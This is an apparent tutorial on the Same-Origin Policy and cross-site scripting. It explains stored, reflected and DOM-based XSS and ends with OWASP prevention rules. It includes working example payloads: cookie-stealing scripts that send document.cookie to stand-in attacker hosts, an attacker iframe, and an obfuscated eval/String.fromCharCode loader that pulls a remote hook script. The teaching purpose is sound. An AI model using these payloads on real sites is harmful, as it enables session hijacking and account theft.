Same Origin Policy and Cross-Site-Scripting introduction

What is an XSS Attack?

XSS attacks exploit the browser’s trust of the content received from the server. Malicious scripts are executed by the victim’s browser because the browser trusts the source of the content, even when it’s not coming from where it seems to be coming from.

What is covered here:

  1. Name convenction
  2. Basic Browser capabilities and vulnerability
  3. Attack methodology
  4. Useful HTTP headers
  5. Same-Origin-Policy
  6. Cross-Site-Scripting
  7. XSS examples and testing
  8. Obfuscation and encoding
  9. OWASP Prevention

1. Name convenction

Some basic names to know:

DOM or Document Object Model

is the main model by which scripting languages like Javascript handle and modify the html or xml page. It is divided hierarchically with the root level being the <html> tag.

It is an API for interacting with objects within HTML or XML documents.

Rendering Engines

which includes layout engines and web browser engines. They convert data into a format useful for presentation to the user on the screen, they combine HTML with CSS and images.

  • Webkit –> Google Chrome
  • Trident –> Microsoft
  • Gecko –> Firefox
  • Presto –> Opera

#### Web Sockets Browser method to open responsive, full duplex communication with a server. It is a replacement for AJAX technologies, and it is native in browsers.

To see if a browser support websockets:

return !!window.WebSocket || !!window.MozWebSocket;

Ref -> https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API

Web Workers or “browser threads”

Given that Javascript run single threaded there are ways to achieve cuncurrency:

  • setTimeout(func, timeout);
  • setInterval(func, timeout);

Browser threads run in background and there are two types:

  • shared across anything under the same origin
  • that communicate only back to its creator

2. Basic Browser capabilities and vulnerability

Sandboxing

The base assumption is that the browser in a way or another will be compromised. The sandbox is a mitigating control which can be applied at:

  • kernel level: to separate one user from another
  • hardware level: to separate privileges between kernel/user space
  • browser level: (highest level) it is the barrier between privileges given to browser by OS and privileges of a subprocess running in the broser.

To compromise the browser you need two steps:

find vuln in the browser –> break through the sandbox

Extensions and Plugins

augment browser capabilities but increase the attack surface.

Plugins differs from extensions in the fact that they need to be included in the page with an object tag or content-type-header.

Javascript: XMLHttpRequest()

Use XMLHttpRequest (XHR) objects to interact with servers, retrieve data from a URL. Heavily used in Ajax. It supports other protocol than HTTP like file and ftp.

Easy example:

 function reqListener () {
   console.log(this.responseText);
 }

 var oReq = new XMLHttpRequest();
 oReq.onload = reqListener;
 oReq.open("GET", "http://www.example.org/example.txt");
 oReq.send();

ref:


3. Attack methodology (in short)

  1. Initiating: execute instructions on browser victim
  2. Retaining: you need to maintain control over time, the code need to continuously ask for your next wishes
  3. Attacking: you leverage control over the browser.
  4. Bypass the SOP: SOP is the primary sandbox. If you are able to bypass you have automatically created a succesfull attack, you can include resources from another origin.
  5. Attacking users: you can encourage users to enter compromising information by altering the page or granting privileges for arbitrary program or local resources.
  6. Attacking browser: you attack browser API and abstractions to store and recall data.
  7. Attacking extensions: exploiting extension could allow you to run OS commands or cross origin requests.
  8. Attacking Plugins: one of the most vulnerable area of the browser.
  9. Attacking web application:
  10. Attacking networks: connect to non standard ports

4. Useful HTTP Headers

Link here

5. Same-Origin-Policy

Fast example of how SOP block resource access.

test1.com can’t access data of bankofamerica.com in the same browser.

GET/POST requests can be made from one domain to *****. (all domain)

GET/POST response can be read only if:

  • ports match
  • domain/subdomain match
  • protocol match

on both sites.

Exception

Two subdomain (different origin) under the same domain.

Ex: siteA.live.com and vulnerable.live.com

  1. siteA.live.com sets document.domain = live.com
  2. vulnerable.live.com can set domain to “live.com” and access data of siteA.live.com

Cross Sub-Domain communication or Domain Lowering or Putting all the eggs in one basket

Same origin for COOKIES

By default cookies permit read/write access if the domain is the same but:

  • No port number check
  • No scheme check

vuln.live.com can poison cookies of live.com

vuln.live.com:1111 can poison cookies of live.com:2222

So? Ports are not a security boundary. Different web app on different port should be avoided.

Need cross domain requests? use CORS.

Cross-domain GET/POST can easily introduce CSRF.


6. Cross-Site-Scripting

How is the malicius js injected?

The attacker inject the code into the pages that victim downloads from the website. Example if the user input is directly included in the output.

Example: (SSI)

print "<html>"
print "Latest comment:"
print database.latestComment
print "</html>"

If user supply “<script>...</script>” as a comment (under a post i.e) the output will be:

<html>
Latest comment:
<script>...</script>
</html>

and will be executed in the browser victim.

This is what is called Persistent XSS or Stored XSS because an attacker has been able to inject some code directly into the data storage of the application (database). This results in serving the code to whoever is watching the page without further actions by the attacker.

Let’s see another example.

This is a server side PHP script

<?php
echo $_GET['id'];
?>

if a client requests “http://example.com?id=<script>alert("hello");</script>” the output will be .. ?

Another input could be ?id=<iframe%20src=http://attacker.com/></iframe>. When rendered this would include an iframe to the attacker server page.

This is a simple example of Reflected Cross-Site Scripting.

DOM-based XSS

Is purely client-side. The HTTP response doesn’t change.

  1. The attacker crafts a URL containing a malicious string and sends it to the victim.
  2. The victim is tricked by the attacker into requesting the URL from the website.
  3. The website receives the request, but does not include the malicious string in the response.
  4. The victim’s browser executes the legitimate script inside the response, causing the malicious script to be inserted into the page.
  5. The victim’s browser executes the malicious script inserted into the page, sending the victim’s cookies to the attacker’s server.

In DOM-based XSS, the malicious JavaScript is executed at some point after the page has loaded, as a result of the page’s legitimate JavaScript treating user input in an unsafe way.

DOM-based XSS are invisible to server. If the malicious string is contained in a URL fragment identifier (after # ) then that part of URL will never leave the browser.

Other user input that is invisible to the server includes new HTML5 features like LocalStorage and IndexedDB.

In more secure scenarios there will be a WAF or Web Application Firewall configured to match XSS payloads and block the request.

What is the aim of malicious Javascript?

  • Cookie theft: cookies are the most common mechanism for authentication and state maintainment under multiple HTTP requests. If an attacker is able to retrieve a cookie for an authorized client, he could impersonate him.
  • Keylogging: an event listener can be registered and every input can be sent to the attacker’s own server. It is as simple as an addEventListener.
  • Phishing: fake form login, DOM manipulation

Example attack scenario

If a website has low security policy (no CSP, no XSS, no secure Cookie) the simplest way to thieve a cookie is to make a request to the attacker’s own server.

<script> window.location='http://attacker/?cookie='+document.cookie </script>

Scenario:

  • Ada is connected to a website vulnerable of Stored XSS
  • The page is loaded and the script is executed into the Ada Browser
  • Ada makes a request to another origin including cookies from the actual origin.
  • Attacker get Ada’s cookie logged.

No security was in place.

  • No user sanitization on Comment management.
  • Cookie HttpOnly flag not used.

7. XSS Examples

HTML based

  • <body onload=alert('test1')>
  • <b onmouseover=alert('Wufff!')>click me!</b>
  • <img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>

Script Via Encoded URI Schemes

<IMG SRC=j&#X41vascript:alert('test2')>

code encoding

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

cookie theft

<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>

How to contrast XSS

XSS is a type of code injection –> input must be secured. You MUST use the escape syntax for the part of the HTML document you’re putting untrusted data into.

  • Encoding: escape user input
  • Validation: filter input from malicious commands

Input context:

Context Example
HTML element content <div>userInput</div>
HTML attribute value <input value="userInput">
URL query value http://example.com/?parameter=userInput
CSS value color: userInput
JavaScript value var name = "userInput";

If user input is inserted directly into the HTML then:

Application code <input value="userInput">
Malicious String "><script>...</script><input value="
Result <input value=""><script>...</script><input value="">

To avoid this, just sanitize input (client and server side), and remove quotation marks.

Encoding

Encoding is the act of escaping user input so that the browser interprets it only as data, not as code.

Ex: HTML escaping, which converts characters like < and > into &lt; and &gt;.

<script>...</script> would become &lt;script&gt;...&lt;/script&gt;

JavaScript encodeURIComponent():

var uri = "https://w3schools.com/my test.asp?name=ståle&car=saab";
var res = encodeURIComponent(uri);

results in:

https%3A%2F%2Fw3schools.com%2Fmy%20test.asp%3Fname%3Dst%C3%A5le%26car%3Dsaab

Validation

Allow some HTML elements (such as <em> and <strong>) but disallowing others (such as <script>).

8. URL Obfuscation

  • URL shortener
  • URL redirector
  • URL/ASCII Encoding
  • adding extra irrilevant query parameter
  • converting domain into an integer –> http://4231939341

Example:

http://browservictim.com/page.html?id=1');eval(String.fromCharCode(115,
61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,10
9,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,46,115,114,99,61
,39,104,116,116,112,58,47,47,98,114,111,119,115,101,114,104,97,99,107,10
1,114,46,99,111,109,47,104,111,111,107,46,106,115,39,59,100,111,99,117,1
09,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,9
7,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,10
1,110,100,67,104,105,108,100,40,115,41,59))//

will be interpreted in

http://browservictim.com/page.html?id=1');s=document.createElement('script');s.src='http://browserhacker.com/hook.js';document.getElementsByTagName('head')[0].appendChild(s);

thanks to the use of eval and String.fromCharCode.


9. OWASP XSS Prevention rules

  • Never Insert Untrusted Data Except in Allowed Locations: deny all, don’t put untrusted data into HTML document/tag and nested contexts. Example:
<script>...NEVER PUT UNTRUSTED DATA HERE...</script>   directly in a script
<!--...NEVER PUT UNTRUSTED DATA HERE...-->             inside an HTML comment
<div ...NEVER PUT UNTRUSTED DATA HERE...=test />       in an attribute name
<NEVER PUT UNTRUSTED DATA HERE... href="/test" />   in a tag name
<style>...NEVER PUT UNTRUSTED DATA HERE...</style>   directly in CSS
  • HTML Escape Before Inserting Untrusted Data into HTML Element Content
<body>...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</body>
<div>...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</div>

Escape the following characters with HTML entity encoding:

& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;
/ --> &#x2F;
  • Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes:is for putting untrusted data into typical attribute values like width, name, value, etc
<div attr="...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">content</div>   inside double quoted attribute

Escape all characters with ASCII values less than 256 with the &#xHH; format

  • JavaScript Escape Before Inserting Untrusted Data into JavaScript Data Values: for dynamically generated JavaScript code
<script>x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'</script>          one side of a quoted expression
<div onmouseover="x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'"</div>  inside quoted event handler

Some JavaScript functions can never safely use untrusted data as input - EVEN IF JAVASCRIPT ESCAPED!

<script>
window.setInterval('...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...');
 </script>
  • CSS Escape And Strictly Validate Before Inserting Untrusted Data into HTML Style Property Values: You should stay away from putting untrusted data into complex properties like url, behavior, and custom (-moz-binding)
<style>selector { property : "...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..."; } </style>   property value
<span style="property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">text</span>       property value

Example:

{ background-url : "javascript:alert(1)"; }  // and all other URLs
{ text-size: "expression(alert('XSS'))"; }   // only in IE
  • URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values:when you want to put untrusted data into HTTP GET parameter value.
<a href="http://www.somesite.com?test=...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >       

example:

var sanitizer = new HtmlSanitizer();
sanitizer.AllowedAttributes.Add("class");
var sanitized = sanitizer.Sanitize(html);
  • Prevent DOM-based XSS
  • Use HTTPOnly cookie flag
  • Implement Content Security Policy (CSP)
  • Use the X-XSS-Protection Response Header

Summary

To defend:

  • HTML encode: i.e. Convert > to &gt;
  • Strictly validate unsafe Attributes
  • URL encode: percent encoding
  • URL validation
  • Attribute encode: escape characters with the HTML Entity &#xHH;
  • CSS Hex encode: scaping supports \XX and \XXXXXX
  • Javascript encoding/escaping: escape all characters with the \uXXXX unicode escaping format

more info at: [https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)Prevention_Cheat_Sheet](https://www.owasp.org/index.php/XSS(Cross_Site_Scripting_Prevention_Cheat_Sheet)